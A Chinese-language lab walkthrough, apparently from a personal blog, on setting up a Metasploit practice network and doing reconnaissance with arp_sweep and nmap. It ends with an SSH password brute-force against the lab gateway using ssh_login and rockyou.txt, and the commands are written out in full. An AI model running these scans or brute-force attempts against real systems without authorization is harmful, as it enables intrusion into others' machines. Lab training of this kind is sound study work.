← 返回

Metasploit 渗透测试 - 靶场搭建与信息收集

渗透测试 • 2026年4月13日

一、网络环境(靶场)搭建

按照《METASPLOIT渗透测试魔鬼训练营》书中第二章所描述的步骤,在 VMware 上搭建完整的靶场网络环境。其中攻击机理论上可以任意选择,甚至可以用宿主机,本例选用了 Kali 虚拟机作为攻击机,形成下图所示的网络结构。

靶场网络拓扑

二、信息收集

使用 arp_sweep 模块探测存活主机

我们使用 arp_sweep 模块探测 10.10.10.0/24 网段存活的主机。在 msfconsole 下执行:

use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 10.10.10.0/24
set THREADS 50
run

扫描结果探测到宿主机 10.10.10.1 和 10.10.10.2,同时发现网站服务器(10.10.10.129)、后台服务器(10.10.10.130)、网关服务器(10.10.10.254)。

arp_sweep模块扫描结果

使用 nmap 进行存活探测

也可以使用 nmap 命令扫描存活主机:

nmap -sn 10.10.10.0/24
nmap 存活主机扫描结果

nmap 常用参数说明

nmap 的常用参数可分为两种:

  • -P?(Ping,主机发现):主机发现参数,?为其余选项
  • -s?(scan,扫描):扫描参数,?为其余选项

具体参数示例:

  • -Pn(not Ping):含义是跳过主机发现
  • -PS(Ping TCP SYN):含义是向指定端口发送 TCP SYN 包进行探测
  • -sU(UDP scan):含义是发送 UDP 包探测 UDP 端口
  • -sV(Version scan):含义是探测开放端口上运行的服务/版本

另外还有些常用参数:

  • -O(Operation system):操作系统检测
  • -v(verbose):输出更加详细的信息
  • --script=<Lua scripts>:采用指定 Lua 脚本进行扫描
  • -A(Aggressive):同时启用了 -O(操作系统检测)、-sC(默认脚本扫描)、-sV(版本检测)和 --traceroute(路由追踪)这四个核心功能扫描

服务版本探测

我们使用 -sV 参数探测网站服务器 10.10.10.129 端口上运行的服务:

nmap -sV -v 10.10.10.129

该命令可以识别出各个端口上运行的具体服务和版本号,为后续的漏洞利用提供重要信息。

nmap -sV 服务版本探测结果

三、漏洞利用

基本流程

对于特定服务的漏洞可以通过在 msfconsole 中使用以下流程进行利用:

  • 使用 search 命令搜索相关模块
  • 使用 show options 命令查看所需参数
  • 使用 set 命令设置参数
  • 使用 runexploit 命令执行

SSH 密钥爆破示例

以 SSH 爆破为例,使用 auxiliary/scanner/ssh/ssh_login 模块对目标进行ssh密码爆破,使用kali自带的rockyou.txt作为密钥字典:

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.254
set USERNAME root
set PASSFILE <你的rockyou.txt路径>
set THREADS 100
set VERBOSE true
run

当尝试到密钥 "ubuntu" 时成功登录。由于在虚拟机中执行扫描实在太慢,可通过 grep 命令验证 rockyou.txt 里包含目标密码:"ubuntu",理论上可以成功。

也可以人工构建更小的 PASSFILE 以加快测试速度。